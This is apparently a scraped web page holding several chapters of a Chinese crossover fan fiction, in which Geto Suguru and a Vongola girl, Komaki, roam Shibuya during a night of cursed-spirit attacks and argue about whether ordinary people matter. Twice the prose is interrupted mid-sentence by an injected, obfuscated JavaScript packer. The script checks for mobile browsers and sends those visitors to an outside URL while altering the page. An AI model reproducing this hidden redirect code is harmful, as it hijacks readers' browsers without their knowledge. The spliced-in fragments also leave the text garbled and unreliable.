“……”夏油杰稍微松懈开紧压着傀儡的力道,等真正的泽田小莳到他面前拿到了匣子和戒指后,他才问:“有束缚,你何必这样。” “不瞒你说,我也没见过束缚的约定形式,就像合同也有法律不予支持的假合同那样。你知道的,我不是咒术师。”只是今天恰好看到了,又问了五条悟一嘴,才初步了解了情况,这就像是小说只看了大纲,更多的信息一点没有了。小莳紧张地吞咽口水:“不过我们已经走过了最艰难的一步,接下来我会把你当成家族成员那样交付信任的!” 小莳眼睛亮晶晶地看着夏油杰,柳暗花明又一村,在经历了3小时的流离失所后,她算是找到家了! 她认真和眼前的人承诺:“不管你此前是做了什么事情流落到异世界,即使斗转星移世界归位融合,彭格列会庇佑你。你不会因为往事被背弃。” 夏油杰吁了一口气,能说出这种话,无疑和泽田纲吉是兄妹了。 小莳激动地把两颗戒指套上手指,左手食指和无名指。然后用玛雷戒指开匣。 出来的并不是十天前见到的肿胀之女,而是夏油杰曾在照片中看到的黑发绿眼男性。 没有打断小莳和匣兵器的叙旧,等一切都结束,奈亚拉托提普退至小莳另一侧时,他才问:“你手上还有指环?” “玛雷指环,你听说过吗?可以穿越平行世界……因为白兰被封印的那个,它越狱了。”根据夏油杰说的,他在那边呆了一年,这些往事大概也听说过。 夏油杰想起彭格列编年史里面的10代部分,“未来战。” “嗯哼,我也是拿到手才第一次见到实物,毕竟我4岁的时候一切就都结束了,连平行世界十年后的我都只见过它几次。不过多亏有了它,不然我回不来。”小莳美滋滋捧着自己的戒指,转头也展示给他看。 她简要说明了一下自己一开始其实是回到血亲那里去了,另一个世界,除了一位朋友外并没有超能力,后来才得到戒指。 今晚情况特殊,小莳没过多把注意力只分给自己,稍微说了两句就回到正题:“夏油你要去哪里,我看你似乎并不打算出去?” “嗯,我要进去看看,来到并盛町的咒术师说今夜咒灵和诅咒师暴动,我要去看一个人。”他停顿了一下,说:“你可以先出去,帐里面不能联系外界。” 小莳一下子就眯起了眼睛,“你说要看的人,不会恰巧叫五条悟吧。” 夏油杰温柔地对她一笑,声音也轻:“啊,对。” 小莳心想:这下搞到真的万人迷了,他关心他,他关心他,他也关心他。 “没事,我们同行。如果是为了做些好事的话,他们会理解我不第一时间就出去。”小莳摇摇头,重新驱散困意,转头给奈亚安排了工作,让他看见改造人就顺便解决,如果有咒灵就引到她这边来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413109|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏油杰在一边观察着她和传说中的造物的互动。 奈亚沉默地点头,一瞬间不见了,小莳这才重新和夏油杰说话:“你死掉的时候身上应该什么咒灵也没有,让你一个人进去太危险了,咒灵操使,就应该有多多的召唤物才行。”说罢也对他莞尔一笑,想尝试安抚夏油杰即将紧张的情绪。 “你知道我的术式?” “……啊,这事情说来有些复杂,要不你靠着墙,让后背给你一点小小的慰藉。”糟糕,该怎么和人说他的尸体被人侵占了,术式被人学了,养了十年的小孩还被打了。 夏油杰看眼前女孩的神色慌张又透露着对他的担忧,感到一阵熨帖:“我没事的,小莳现在可以说了吗?” 小莳有点拿不准注意该先说哪一个,看着夏油杰,嘴巴张张合合,然后支支吾吾开口:“或许你认识枷场美美子和枷场菜菜子,就是一些,那个,或许她们对于人类不是很友善的样子,然后我就浅浅的和一名叫做七海建人的成熟男性和两位小朋友切磋了一下,然后我一不小心用枪托砸了其中一个女孩的头,但那是因为她要用手机拍我!我有充分理由怀疑那是她的术式!所以其实是正当防卫!” 夏油杰没说话,没给任何反应,但她觉得对方的脊背似乎紧绷起来,赶紧马不停蹄一刻不停地说:“但是为什么我会遇见她们两位呢,其实是因为在你死之后五条悟并没有交给家入硝子处理,被偷家了,那个寄生物的术式是通过把自己的脑袋放进别人的脑袋,然后使用被寄生对象的术式。枷场姐妹对此不是很满意,但是社会阅历尚欠,没和大脑袋定束缚,今天彻底谈崩了,我那时候正好在现场,看见了她们,也看见了你……以前的遗体。好消息是他的阴谋暂时失败,因为我在场的那一次五条悟并没有被封印,他封印的是幻术。” 夏油杰觉得有点呼吸不畅。 机械丸说有个假夏油的时候他就觉得不太妙,没想到事情真的往最坏处发展,大概是报应。 “好消息是,七海是个好人,所以那两个孩子大概没事。”只是到目前为止。如果是诅咒师的话,被抓起来以后免不了审判。 “到时候我陪你去把她们偷出来吧。虽然不知道会被押送在哪里,但应该问题不大。或者运气好点他们根本就不会被抓起来,直接捞走就好。”真是大水冲了龙王庙哈。 小莳努力想办法,挽救一下夏油杰糟糕的情绪。本来觉得自己挺倒霉的,没想到这位更是重量级,一下就觉得生活充满了期望,同时也有点幸运者的愧疚。 …… 小莳和夏油杰进入了被打碎窗户的商场,小莳眼尖的看见一家餐吧。她进入其中,在冰柜里找到高端商务区必备的nfc果汁,给自己和夏油杰各倒一杯,还从营业台那顺了一包巧克力。 她塞给他:“给你,还有巧克力,吃了对大脑抗焦虑有好处。这是有科学研究证明的。” 夏油杰接过还道了谢,但是没吃,直到小莳催促:“你怎么不吃啊,快吃快吃。”他这才照做。 “你再喝一口这个。还挺好喝的。”小莳对他举起自己的空杯,表示自己已经结束了。 夏油杰看了她一眼,一口气喝完了一杯,橙汁,确实不错,只是有些涩口,他向她道谢:“谢谢你,小莳。” “我在那看见了冰激凌,你要来点吗?”小莳随手把空杯扔在地上,“难得可以在高档商场没素质,有一种禁忌的快乐,平常我还是要脸的。难得放纵。” “……不用了。奈亚还没有回来吗?”夏油杰转移话题,发现小莳没等他回答人已经窜出去到冰柜前挑选口味。 “那我吃红茶和荔枝味的。”小莳拿出来放在柜台上,“可能已经快终场,咒灵们也聚集到一起了。你稍等,我看看。” 她下意识拿出手机,然后才想起这里有帐。不悦地敲敲桌子:“我和奈亚并没有心电感应,但我们能知道彼此的方位,现在去找他看看鱼获。咒术师们应该发明点在账里也能沟通的咒具,太不方便啦!” 与其责怪自己,不如埋怨别人。 夏油杰接过小莳递来让他代拿的红茶味,见她抽出发夹,变出代步工具,问他:“一起坐吗?今天会是一个漫长的夜晚。” 一分钟以后,奈亚应该也发现了小莳在匀速向他靠近,小莳感应到他在逐渐过来。 三分钟后,小莳和夏油杰一起到达现场,小莳的双腿在轻薄的羽毛上乱晃,夏油杰半盘着腿坐她身侧。 奈亚拉托提普在和七八个咒灵缠斗,以及拉扯。 夏油杰赞叹:“真是非凡的战斗技巧。” 小莳点点头:“他一向如此可靠,这些咒灵的等级能看出来吗?我只觉得其中的那个稍微厉害点。” “那个大概是一级。” “原来如此,那你要怎么降服他们呢?” 夏油杰伸出两根手指,咒灵就词扭曲成漆黑的圆球,停在他的指尖。 小莳产生了一种不妙的预感,他不会要把东西吃下去……吧。 夏油杰将咒灵球推入口中,仰头,喉头滚动,看得小莳鸡皮疙瘩都起来了,然后他笑说:“吃掉。” “好吃吗?” “你是第一个这么问的。” “这拙劣的话题转移技巧,绝对很难吃!”小莳捂住嘴,“你吃点好的。” 她指指夏油杰手上的冰激凌,“请吃。剩下的咒灵直接袚除了吧,性价比太低了。” 他把一个个咒灵球咽下,“都是战力的一部分,要妥善对待。” “夏油你会有打游戏的爱好吗?” “以前会,怎么了?” 小莳说:“你像买了月卡,明明不想上线,但是最后不仅上线还把日活和奖励都领完的那种人。最后浪费了人生中宝贵的几十分钟,晚上在被窝里偷偷后悔,呜呜呜呜,明天我一定……然后明天依旧不情愿的上线。”都是厂家的陷阱,千万不能为了这点小事反复折磨自己,该退坑就退坑。 “……” “你有试过其他方法吗?比如静脉注射。” 不,这个听起来更危险吧。“我们这以前出过一起往静脉里注射果汁然后进icu的新闻。”这新闻还在教里流传了半天。 “好巧,我也看到过类似的新闻,看来不管在哪个世界,庸人的的愚蠢都是相同的哈。”小莳又打了个哈欠,一看时间,十一点了。 都愚蠢了……夏油杰有点怀疑小莳说这话的意图:“那你还建议?” “静脉注射也许确实不明智,但这不意味着吞服是可以被接受的选项,嗯哼?”小莳目睹奈亚跑向下一个街区,然后低声和夏油杰说话,“快来点甜的吧,吃这么些脏东西,我都忍不住心疼了。” 42. 第 42 章 小莳又问他:“你是几级咒术师?”得到特级的答案后,不吝啬地为他鼓掌。 几百米开外闪了一道蓝色的光,她觉得眼熟,几个小时前看过这集:“那个是不是你要找的【苍】。” 夏油杰挖一勺冰激凌:“好像是的。” 她问:“你要去见他吗?” 得到的回答是:“不了。” 小莳耸耸肩,“我们先去商场再找点吃的,然后去找奈亚?”然后坚持到12点就润! 也算是应了刚刚和七海说的“工作4小时”。 “啊,可以,不过五条悟还放在外面,我们可以直接离开。毕竟,他是最强嘛。去并盛也要一个多小时。”夏油杰不太愿意见到昔日的挚友,在意识到五条悟并没有被封印的时候,他悄悄嘲笑了自己的自作多情。 “你对五条悟是不是有点那个--”害怕兄弟苦,又怕兄弟开路虎,小莳说一半才意识到自己和夏油杰的关系并不足以聊这些,“你情绪有点down。放心,我们回去会很快很快的。” 又闪过一道红色的光,那是赫。如果不关注萧条的街道,远处热闹的氛围像是烟花大会开场。 接下来的事情小莳就不知道了,她进了新的商场,“如果我没记错的话,这里的三楼应该是有一家gelato。”一切的信息得益于猪颈肉盖饭店的优秀WiFi,和帐外的新鲜空气。 “嗯,在电扶梯左手侧。” “诶,你吃过?感觉怎么样?” “没有,听说还可以。”菜菜子对网络热门店铺打卡的兴趣很高。 “看来夏油是对食物没什么期待的人啊,那你和XANXUS关系好吗?”他可是对吃饭相当挑剔的,瓦利亚的厨师也是个不亚于前线小队的高危职业。 老实说,不太好,彼此都不太认可的样子:“我们打过一次。” “那你赢了没?” “被纲吉君冻住了。” “噗。”小莳找到无人看守的空店,自给自足香草味和被挖最空的茉莉葡萄。“那XANXUS也被冻了,对吧?” “对。” “好耶!心情好,再加一个球。”就决定是西西里开心果了。 面对夏油杰不解的神情,小莳坦荡回以咧嘴一笑,振振有词:“阿纲平常可舍不得动他,难得一次还是值得幸灾乐祸的。你知道XANXUS平常就和编外人员一样快乐吧,猜猜有谁顺便负担了他本应做的工作?这是结构性矛盾。我们是有很亲密的联结,但这不意味着我愿意打工。” ……如果让夏油杰选择一个词描述瓦利亚的首领,他不会选择快乐。 “我以前还没成年,他们真坏。”小莳吃得很快,她打算过会再带夏油杰去之前的地铁站看看,如果枷场姐妹还在,就把她们直接带走。 “小莳很喜欢甜食?”夏油杰还是没忍住问了。 白毛蓝瞳……这种既视感,难以忽略。 “不算特别的偏好,但我今天受了点刺激。”小莳越吃越停不下来,开始和夏油杰抱怨,“我被五条悟的领域打中了,算连带伤害。无量空处……你也知道,我需要一点额外的多巴胺,而甜食可以帮助释放。” “嗯?” “说来一切都是为了做好事,不知道现在地下五层的人有没醒过来。”小莳又给自己加了个新鲜芒果,冰箱里看到的,10月底的新鲜水果,吃! 她点点果皮就自动削开,排队成块进碗。 将五条悟被三个特级围住,自己正好在现场,帮助疏散了下人群的事情,“那时候我只有玛雷指环,对咒灵又不太了解,大概是打不过的,但是现在的话……如果能被杀死,那么不成问题。” 不过主要问题仍然是自己没能掌握这边的能量,而只有诅咒才能杀死诅咒。 她向新结识的同伴一一道来:“这事也不能怪五条悟,经过他后来和我的说明还有我的复盘,我想到是那个漏瑚先开的领域,对付领域最有效的手段还是自己也开领域,所以他后手行动,覆盖了那个特级咒灵。”只不过她的幻境就惨了。 小莳叼着木勺开始更进一步分析:“因为漏瑚的领域被中和,所以最后也只有无量空处。我总得站在其他人的前面,毕竟普通人可是很脆弱的,一不小心就会死掉。”这点她可是深有感触,去年的绑架经历历历在目,恐怕一生都不会忘记。 “我今晚在家里吃得还挺好的,你知道吗?我家也算御三家,超有钱,厨师也超会做,但是刚刚全吐出来了。”她摊手。 夏油杰皱眉:“小莳今晚才从原先的世界回来吗?” 小莳一拍脑袋:“是这样的,八点多。这么重要的事情我居然没说吗?一切都是五条悟干的,我聪明的脑瓜都被改造啦!” “……”算是理解她的谨慎从何而来。令人惊叹,他完全没有意识到眼前看似适应良好的女孩竟然是初入咒术界的异界来客,何等聪慧敏锐,“无量空处,令对象强制接收无止尽的情报,从而大脑混乱,直到死亡。你用了多久恢复?” 小莳面露难色摇了摇头:“完全没有头绪,梦中不知身是客,时间也不存在。不过据说我的开机速度打败了99.99%的电脑,咒术师。我没多问,可能和我只是波及对象也有关系。没什么时间供我们闲聊,后面又来了一车改造人,有1000个。这些咒灵们真是一肚子坏水,准备太充分了。”她三言两语将当时紧迫又刺激的情节复述出来。 “你们合力解决?” “不算,我基本没注意到他在做什么,主要是不了解情况,只能手忙脚乱打地鼠。他大概在人群前面放了几个顺转反转?”小莳眯起眼睛来回想当时的事情,“后来我用了点小手段,把改造人烧死了。要是仅仅依靠最强,那所有人都得无痛降解了。涩谷人真多啊。”但也只是万圣节cosplay一下挤个地铁,罪不至此。 “……小莳是会比较在意弱者的类型?” 小莳能感觉到这个时候夏油杰的情绪有点起伏,大可不必,这只是工作期间的咖啡房聊天而已啊喂!她不知道是哪里戳到了这位新伙伴。 举手,“我选择保留答案可以吗?”怕说错话伤害感情,虽然目前也没什么感情。 夏油杰微笑,面相温和:“何必如此,只是闲聊而已。” “骗人,你看上去在说‘请谨慎抉择你的答案’,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它长得像个马桶。 马桶开始尖锐的爆鸣和沸腾,如果说那个长了两个不怀好意的洞的东西可以称之为眼睛的话,那它的眼睛也开始说话。 “我不要——再等了” “洗手——” 它的动作比讲话要快,小莳思忖着,后退半步,所以像真人漏瑚一样能正常言语的咒灵其实都是特级? 夏油杰伸手拦在小莳身前,一掌袚除。 “多谢。我感觉,我也能对咒灵造成一定量伤害。”小莳看着洗手台边瘫在地上已经失去意识的人,见她还有一息尚存,便不太关心,“关于杀死诅咒还有什么说法吗?” 夏油杰这次倒没有有问必答,他对小莳说:“咒灵源自人的负面情绪,咒术师不会产生咒灵。仅仅是厕所里因为排队的负面情绪化成的咒灵,也可以变成2级,小莳,你会在意弱者的生死吗?” 小莳低头看横在面前呈保护姿态的手,这下她大概明白夏油杰介怀的点在哪里了。 43. 第 43 章 “你莫非是那种--因为‘普通人会客观造成咒灵的产生,所以我要把普通人豆沙了’的类型?”这本来只是一句玩笑话,直到她没有等到回答,回头看见了夏油杰一脸认真。 “救命,你还真是个疯子。”小莳捂嘴,明明是严肃的话题她却笑出了声。 “今晚真的发生了好多事啊。”捞了个最强,和初次见面的好心人谈心,现在又要和初次见面的同事(带恶人)谈心了,都是以前没有经历过的。 新鲜又稀奇。 “人类本来只是妈妈生的普通物种,但是日积月累的生活经验让人群聚到一起,形成联合统治分工的局面。发展到今日,政府对单个的公民甚至有支配的权力,他让你交税你就要交,他发布了什么公告你就要遵循。可回到最初,政府组织也不过就是人类群聚到一起的共同组织。是先有了因,才有了果,没了市民,政府的统治地位也丧失。” “mafia也是如此,可我想,咒术界不也是这样形成的吗?或许起源于一个名为守护的祈愿,发展至今,甚至层层阶级往下可以驱使单个的个体。可回到最初,他也不过就是应群众需要而出现的组织罢了。如果普通人都死绝了,会发生什么事呢?他会解体,还是直接消亡?”没有下层哪里有上层。 夏油杰这样回答:“至少世界上不会再产生咒灵,不会再有人被咒灵杀害。” “数学小天才,让我考考你。是一年被咒灵杀死的人数量多,还是地球上所有普通人的总量多?顺便你有没有看过哈利波特,你听说过汤姆·里德尔吗?”本来该活活,该死死,一年到头五六位数,这下好了,有人想一鼓作气几个亿。 本来活阎王这个词小莳是用在名侦探工藤新一aka江户川柯南身上的,现在夏油杰一小时破纪录,成为了活阎王大赛中的一匹黑马,一骑绝尘。 夏油杰比他看上去更锲而不舍,又问:“那普通人的性命,在小莳眼中也能和彭格列成员的相提并论吗?” 图穷匕见。小莳叹了一口气,结果最后还是回到了世界观。 隐藏在他紧绷态度底下的是针锋相对的尖锐激进的观点,她小声嘀咕着:“关于价值的思考,大部分时候是从失去开始。夏油杰,你失去过重要的同伴,我深表遗憾。” 真是敏锐的神经。 说完这话以后小莳又叹了一口气,说起来:“在我心中,人分亲疏远近,所以我的价值判断永远偏向于更认可的存在。要说我有多么在意‘普通人’三个字所代表的普罗大众,这就是误会了。” 她给自己的答案一锤定音:“他们是无论如何也不能相提并论的。” “不过说到普通人……也是出自我的本心,我觉得我不得不为他们说两句。之前听闻枷场美美子辱骂了一些普通人类,那时我在做其他的事情,没有仔细听,但我确信听见了猴子两个字。”当时在治疗,随便听听,结果听到了令人啼笑皆非的反人类发言。 “这话其实不假,动物园里的猴子天天有饲养员喂,有伙伴嬉戏,就以为很快乐很幸福,掌握了整个宇宙,殊不知只是人类观赏嘲笑的对象罢了。毕竟我以前网上和人吵架也会说‘文明观猴’‘这猴在说什么呢’这种阴阳怪气的话,因为更脏的也骂不出来,呜哇请不要用这种眼神看我。我前两年在家做大小姐的时候,每天可不就上上网看看电视娱乐一下嘛!” “我以前是雾守,是天赋出众的幻术师,除了4岁的时候遭遇了记忆乱流还有一些随之而来的心理问题外,人生是坦途,可以做自己想要做的一切事情。但回到那个世界以后一切都变了,那时我才真正知道,命运赐予的天赋,从来对人不公。失踪十年的女儿,媒体仿佛商量好的形容词“如宝似珠”不会给我带来任何继承权,我哥会得到一切,我会嫁人。也许我会过上很好的一生,也许我会过上很坏的一生,但那就只是概率问题。身如浮萍,只是看飘到哪片水域罢了。如果我只是一个普通人,这一生都逃不脱动物园的围栏,如果我不能够离开那里,我也不过就是对自己的命运束手无策的困兽,这就会是我囚笼里随波逐流的一生。所以作为弱者也有弱者的苦难,并不是有心向好就能够摆脱拘束的,这也不能说是我的错。” “幸得垂怜,我离开了。昔日困住我的天花板和藩篱已转瞬消逝,可这并不意味着我一下子就将两年的无可奈何遗忘。我不喜欢普通人,也不喜欢做普通人,然而我恰巧曾经品尝过没有办法掌控命运的那一种苦难,人非草木,自然怜悯。这也就是全部了,夏油,如果你不幸和一个随机市民一起掉进水里,我会救你,从你带来匣子的时候你就是我认定的伙伴了。”最后再捞捞,毕竟是阿纲看重的人,云雀很明显也对他比较满意。XANXUS和他打过,然而他还能在瓦利亚顺利过日子,可以想见其人际关系。 夏油杰:“……我会游泳。” 小莳摆摆手,开始敷衍他:“没事,万一你抽筋了呢,我还是会救你的。能把自己作到水里的市民怎么想都脑瓜不太好,不救。” “这个人怎么办?要带走吗?”听到了完全意料之外的内容。他以为会听到类似于正论的可笑回答,可他发现眼前的女孩比年轻时的他更开朗通透。说来惭愧,这番话叫他有些胆怯继续话题,他只好像拨开杂草一样淌过葳蕤茂盛中看不清情况的草地,选择避让。 而小莳像洋流里的鱼,瞬间发现了水相变动:“我说话让你很不自在吗?夏油你其实根本不在意这位晕倒的女士。”只是情急之下随便挑了句话讲。 夏油杰回忆起几天前泽田纲吉的谕令,他也是随随便便就说出了令人在意的话。亲兄妹也就罢了,眼前的小莳分明没有超直感……招架不住。 他笑起来像阳光下的泡沫:“只是没想到小莳会这么说,我以为会是‘强者就应该保护弱者’这样的无稽之谈呢。”尾音也很轻,听起来分明温柔缱绻。 “然后你就可以反驳我了?”小莳惊讶,居然想钓鱼执法,“你很爱笑,但你是个坏蛋。”这人可真够恶劣的。 他耸肩:“也许吧。” “这可不是夸奖,”小莳瞪了他一眼,在洗手台边顺便清洁了一下双手:“既然我们都不想带个累赘上路,那就走吧。我想喝可乐。” 电影院的入口有一大缸爆米花,还有旋转着的冰沙机器,只是空无一人。小莳讲究的给自己挖了半杯冰块再添加饮料,“你也别闲着,来帮我盛点爆米花。” “……还吃?” 小莳对于这个没什么意义的问题保持了沉默,她也开始说自己的事情:“刚刚在和夏油你聊天的时候,我好像突然有一种轰隆轰隆,咔冈咔冈的感觉。” 夏油杰打了半盒爆米花,闻言他黑线:“我对山本语并不上手。” 小莳从他桶里抓了一把,塞嘴里,焦糖味,脆脆的,很好吃:“忽然有一种拨开迷雾见月又尘埃落定的豁然开朗。好奇怪,我明明是雾属性,却说出了拨开迷雾这种话,哈哈哈。不过这大概也是必要的,幻觉是谎言,而我们术士也要从谎言中找见真实嘛。” 她讲话嘟嘟囔囔,因为嘴里塞了东西,夏油杰却听明白了。料想还没结束,他静待后文。 “所以我突然有了一个想法,夏油君你陪我去尝试一下吗?” “嗯?” “我们去找个特级,怎样?” “我发现,你唯独会在请求的时候用敬语。”小莳对【唯独】这部分有异议,但她还没有提出,夏油杰就转身说,“好啊,我们去吧。” 泽田小莳说话有些不着边际,但夏油杰也是和思想天马行空的人一起胡闹过的……他想,她和故人在某些方面仿佛重合,但他又否定了前言,其实也不仅仅是悟的原因,她本来也应是值得信赖之人。 和奈亚汇合,二级以上的吃掉,二级以下的袚除。小莳没再劝夏油杰,在询问完奈亚有无看见个蓝毛订书机脸的时候得到了意想不到的情报。 “那个大脑袋在地下?” 随机应变,而不要太执着原定计划是小莳的作战理念之一,听到这里她当即定下了新的战术。 涩谷街头的烟花和噼里啪啦一直不断,五条悟持续发力。 “所以你站在此地不要走动,等我回来,但十分钟后如果没见到我你也不必再等了。”届时打得过就打,打不过就逃,潜行这事还是一个人做比较好。 “在这里的意义是?” 小莳指指进站口标识:“这里地形空旷,确保没人,离奈亚说的地方又近。地下的情况不明,万一还有人或者地形复杂就遭了。施展幻术构建还是有点费脑子,今晚我想偷点懒。” “那我在这是?” 小莳瞟了他一眼,一副“这你都不明白”的样子对他说:“你是planb,打不过我们就跑。备用计划总是令人安心。” “……”这备用计划是不是有点草率了。 “夏油,希望我们十分钟内能在这里相见。”小莳打了个响指,夏油杰面前的景象完全改变。“门在那个方向,其他都是假的。”说完便匆匆离开。 一分钟以后,夏油杰才理解刚才发生了什么。 地铁站的构造都被微妙的调整过,现在看上去是出口的地方,实际是围墙,或者是通往幻境的道路,夏油杰拿不准小莳能否在片刻之间构造出更深的假象。 只是她第一次见到站台,四处走了一圈就炉火纯青地更改了这些,几乎看不出端倪。他料想也许真的有幻境也不一定。 真正的出口被覆盖在小莳所指的广告横幅之下,那是一个红色的消防栓,上面的帽子被涂了一颗小小的爱心。和她匣子上的那个相仿。 小莳一路注意周围的环境,尽可能记下每一寸角落。五条悟既然是最强,他的招式说不定也比较特殊,像那样放烟花不可能不引起注意,大脑袋应该早已察觉。 贪图术式,谋得尸体,而且封印五条悟差一点就成功了,他一定有很深的图谋。……所以说不定轰轰烈烈的烟火是五条悟故意为之吸引注意也不一定呢? 扶额苦笑,他们这些玩战术的。 面前是不可逾越的信息差,涩谷新兵小莳想:那就尽力编织。她放轻脚步,藏匿气息,成为环境的一部分。从在帐最外处和夏油杰的初次见面,小莳知道他也是个耳力上佳的人,这具被占据的身躯应该也不差。 这地铁站真的好大……而且没看到人啊。 说错了,是没看到活人。 小莳默默纠正。 就在这时他听见飞快的脚步声从她面前的通道传来,有人在朝她的方向快速奔跑。 来不及在这里施展障眼法了,小莳连忙退回转角,开匣,肿胀之女。 她和造物的默契一向无需多言,因此有的时候奈亚有自己的想法,她也接受。 小莳召唤的是黑发原皮,但是肿胀之女……难道奈亚自己判断出这是适合非人类解决的问题? 来者是真人,兜兜转转最后还是他。 被脸嫩敷红,娇艳不似生人的簪发旗袍女拦下,真人被迫暂停了真身去追寻钉崎野蔷薇的步伐。 “降灵,还是咒物受肉……哦,是式神啊。你居然还没死。”他第二眼就瞥见鬼鬼祟祟躲在视觉盲区但又探出一头白毛的小莳。 她在心里给出回答,是匣兵器哦~小莳有点得意,一个小时过去,她已经经历过一次全面版本升级,眼前此咒灵根本不在话下。 “你笑起来好恶心。”小莳从墙角站出来,在肿胀之女的身后,“想转变我?那你过来呀!” 说罢转身就跑。 好,这下只要它引到大厅,就可以……尝试袚除! 肿胀之女的武器是她的扇子,面对扇骨射出的一根根钢针,真人并不太在意,其上没有附着咒力,被命中也无妨。 但他是个实在恶劣的咒灵,式神没有灵魂,没有办法转换,但可以被毁灭:“真是弱小,但如果你就这样消散的话,主人也会伤心哦。” 他打掉了肿胀之女的扇子,“可也没办法,是她留你下来牺牲的。 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小莳正准备放下心来,她知道咒灵没有大脑,也无法被吸收,但这里一是可以消耗点他的咒力,二是可以观测他作为咒灵的行动,多点信息总是好的。她隐隐约约觉得,也许自己有什么方法可以袚除。只是刚刚在女卫的灵光一现太短暂,尚未捕捉。 然而今晚是一出所有人都是演员的情景剧目,演员许多,又生变故。 她感应到地铁站的墙被从外打破,算不上场景构筑的破坏,也不存在反噬。在闯入者进入时,他们就会被雾重新构筑的场景包裹。 不过夏油杰还在里面。 小莳第一时间就感受到了外来者的进入。 涩谷这么大,怎么偏偏要跑到别人的底盘撒野,她倒吸一口气。又要变计划,至少在这里,大概是没办法去找夏油杰汇合了。 * 钉崎野蔷薇发现了那只是真人的分身,但她有【共鸣】。如此轰轰烈烈,注定不平凡的夜晚,当她有能力涉足其中,又怎么会甘心平庸?她没有顾及同行辅助监督的劝阻,快速追赶了上去。 几次术士发动,他的分身连同灵魂一起被钉在墙上,墙体碎裂,露出里面的面貌,是地铁站。真人的分身邪笑着窜逃。 钉崎野蔷薇也跳入其中,来到空旷的厅堂。 “夏油?你怎么在这里,不是去确认五条悟了吗?”真人意识到场馆里面和外面不同,但本该下隧道的人却还在这…… 被他认为是一伙的夏油杰没有说话。 一边本体在遭遇物理攻击,一边是透露的诡异的现场和能伤到他灵魂的咒术师。分身往地铁下层方向跑去,先回到本体为重。 他给夏油杰使了个眼色,意思是:这小丫头就交给你了。 夏油杰看到他的第一眼,就知这是小莳在寻找的真人,特征太明显。听他说的话,似乎咒灵也因为满街的动静怀疑起来。 灵魂吗……夏油杰自认为不具备处理的能力,现在的情况就有点难办了。于是他友善的朝把他误以为同伴的□□招手,笑容和煦:“这里是幻觉,出不去。” 还有四分钟,等小莳回来吧。如果他先行离开,两个特级就全压在她那边了。 钉崎野蔷薇的钉子随后来到,“同伴?怪不得要往这边跑。那我就将你们,一个一个袚除!” 夏油杰觉得这误会不浅,看眼前来人:咒术高专的校服,没见过的生面孔,是新生啊。 真是有活力。他站的远远的,隔岸观火。 只能变换自己的形状没办法转化人的真人在钉崎的追击下节节败退,共鸣的伤害也一点点在真身上显现出来。 * 那边情况不明,小莳决定先不回去,术式被ban有咒力的特级也是特级,还有四分钟。 就在这里实践吧。HicRhodus,hicsalta。(这是罗德岛,请在这里跳。) 她转身走回狭路相逢的地下行道。 真人本体遭受着异地网络攻击的打击,本地的物理伤害对他来说洒洒水,可又难以逃脱,巨大湿润的软舌在紧紧缠绕着他的躯体,根本无暇分体离开。 再这样下去他就要一点点被钉崎野蔷薇耗干了!今晚的涩谷本来也没有伤亡过多,他从中获取的咒力远少于预期。 然而凡事并非无转机,已经离开的非咒术师居然原路返回。 她不会以为自己遭遇的伤害是来源于她吧,愚蠢、低劣!嗤笑着,芬芳馥郁的白痴气息令他着迷。被淹没在紧咬的皮肤中,真人无声狰狞狂笑:杀了这个非咒术师,式神自然也就不复存在,然后去找钉崎野蔷薇,把她也转化了,如果能用她让虎杖悠仁感到痛苦就更好了。 他静待出手时机。 * 肿胀之女的战斗总让人掉san,漂浮在空气中的是由脂肪、绞断的□□和她不愿意细想成分的又白又黄又红的液体混合在一起的雕塑景观,如果只论形状的话倒挺像钟乳石。 从层层盘剥和分解中,一只只橡胶似的长手突围,其中大部分被肿胀之女的触须和长舌截断,少部分以飞快的速度精准定位小莳。 像牵了线的导弹。 同时有声音响起【自闭圆顿裹】。 小莳便知道真人有点上头了--一般来说普通转变就好。五条悟告诉过她,领域展开需要耗费不少咒力,而游戏中,平a能结束的战局却耗了蓝条放了大,这就有点情绪化。 真人可不是会误触的菜鸟。 拧成麻花的胳膊,清晰的音节,这一切在她眼中,在她耳中发生,如此缓慢。 电光石火的线被拉得很长很长,时间也在期间延展。 小莳在眨眼间理解了咒术与咒力的构造,仿佛与平安时代的菅原道真还有其他不知名公卿御主进行了跨时空的沟通。 她还是抓住了流光,那句话几乎是自愿从她舌尖蹦起一般-- 【领域展开:不垂堂】 44. 第 44 章 距离约定的10分钟还有3分钟,被钉崎野蔷薇在大厅里追着跑的真人一瞬间就消失。夏油杰这才意识到,这是分身,怪不得先前他们明明触碰过,这个新生却没事。 “虽然不知道发生了什么,但那应该不是我做的,五条老师?虎杖?无所谓了,接下来--” 三颗咒钉一个接一个砸在夏油杰先前站立的地方,他本人已经远离危险地。 “就!是!你!” 他来这边并没有想和咒术高专的人再动手的目的,算来此人入学几月就有一级水准,是不可多得的人才。 * 小莳在提前2分钟回到约定地点的时候,硝烟四起。有烟无伤,问题应该不大。 她看见其中另外一个人穿着今天见了好几次的校服,女款。 “我觉得女款不如男款好看,裙子有点土。”小莳拍拍手,发出无人在意的时尚评价,没人理她。 “夏油,我饿了,我们去吃饭吧。” 女孩被踢中腰,重重摔倒地上。 她想挣扎着爬起来,小莳赶到现场没收了她的小锤。 “嗨嗨嗨,大家别上头,我看快到午夜,是时候结束一天的辛苦了。”她在钉崎野蔷薇身上拍了一下,“小小姐,我和我的同伴可都是良民。” “……”钉崎野蔷薇发现伤口不痛了。 